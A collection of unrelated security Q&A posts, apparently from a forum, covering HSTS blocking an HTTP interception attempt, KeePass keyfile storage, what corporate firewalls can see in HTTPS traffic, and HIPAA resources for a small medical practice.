In addition, any browser which supports HSTS, but does not use the preload list will fail to load messenger.com over http if they have visited the site previously.
The standards mandate that untrusted certificates or redirection to plain http should be treated as hard failures, not something the user can bypass.
HSTS is meant to kill the kind of attack you are attempting, and thus working exactly as intended.
If you present a self signed certificate, it will generally fail, unless this cert is trusted by the local certificate storage.
Here's a list of browsers supportings HSTS.


Confusion about keepass portable and keyfile on an USB-stick I want to start using keepass to set and get my passwords. To always get access to them I thought about using keepass-portable on an USB-stick.
So I would have an USB-stick with a the program keepass-portable, my password-database and my keyfile on it.
When I am on any computer, I have to put the stick in to get to one of my password. When using my android-phone, I would use the keepass-app and need the keyfile stored on the phone-sd-card.
My problem is, that everything you need is on that USB-stick/phone. So if I loose it or my android-phone, the one who finds one of this would have my database AND my keyfile. Shouldn't keyfile and database be seperated? But how do I use such an USB-stick or my then when in front of a foreign computer?

Yes, you should keep your keyfile separate from the database.

But the keyfile does not change often (if at all), so you don't need to keep moving it around with you in a vulnerable manner - just load it ONCE on each device, and that device will remain authenticatable.
You can do this manually - consider it a "device registration" process, and do it any manual way you want, just don't leave copies of the keyfile floating around anywhere EXCEPT the registered devices.
You can keep carrying the database file around with you on a USB stick (or float it in the cloud), and keep it up to date.

I am assuming, of course, that you are talking about a small set of pre-defined devices - your computer, your laptop, your phone - and not just any arbitrary computer you happen across.

If you do need to read your keepass database on arbitrary computers you do not control - then don't. If you really really need to - don't.
Once you unlock the database file on an untrusted computer, all your secrets are leaked out. So don't do that.


can my corporate firewall read my https packet? From what I know, with https the packet is totally encrypted except its destination.

Does that mean that my corporate firewall and the guys working there will not be able to read my https packet in any other way?

If they can extract some info out from it, up to which extent would that be?

They will be able to see the source and destination IP address and port, as well as the domain you are connecting to (for example, security.stackexchange.com). They will also be able to see the size of each packet. However, as long as they are not actively attacking the connection (e.g. with a root certificate you have trusted which allows them to do interception) and as long as TLS is properly implemented, they will not be able to read the actual contents of the traffic. This includes the path which is being accessed (for example /q/191576/165253).

I recommend you read How does SSL/TLS work? to familiarize yourself with the subject.


Bad medical security I reside in Michigan, U.S.A and just recently took over the IT of a small medical practice. There is no real security in place and I am still undoing the horrific damage and lockouts put in place by the previous company. I have noticed horrible browsing/security practices by the employees and the owner doesn't understand the seriousness of the situation. I don't know the specific regulations on medical security but I know the fines could be massive if there is a data breach. I want to make a presentation for him so that I can get him to understand, but he will not believe me without sources I can cite and information I can present to him like specific fine amounts and how we can avoid them by things like being able to remotely wipe phones used for work.

So my question is where can I find information on the type of fines we would look at for a breach, how easy it is to get into an unsecured system, how we can secure ourselves, and where I can learn about specific regulations like account and screen lockout, etc.?

I had a similar issue in the past. Security is a rapidly-changing field, and it's easy for small companies to convince themselves they don't need to worry about security breaches. (and well...if you don't stay up to date with security information, it's easy to remain ignorant!)

As an American company, HIPAA is a great source for information on security and privacy standards in the healthcare industry. You can find their actual policies on their website, but they also have summaries available for their privacy rule and their security rule. (I personally tried reading their full 50-page documents, but they're very dense. Definitely try the summaries first.) Definitely check it out, you might find some good information.

For more information on hacking, data breaches, and malware, you can check out Bruce Schneier's blog. He's been writing this blog for a really long time, and has some truly excellent posts. He also has links to other helpful sources. Here are the links for posts tagged with data breaches, malware, and health care.

While fines can be dependant on states, you can find instances of people suing healthcare corporations over data breaches. Here's an instance of the Arc of Erie County being fined $200k for a security breach. (That instance was an example of HIPAA non-compliance) You can probably find other instances of hospitals and medical companies being sued over poor security practices here if you want some more examples.

Your situation is a tough one to be in. In my experience with employer's with poor security practices, I wrote a report on the security flaws and gave it to my boss when I left the job. I'm fairly certain nothing will come of it, but at least I tried. Good luck.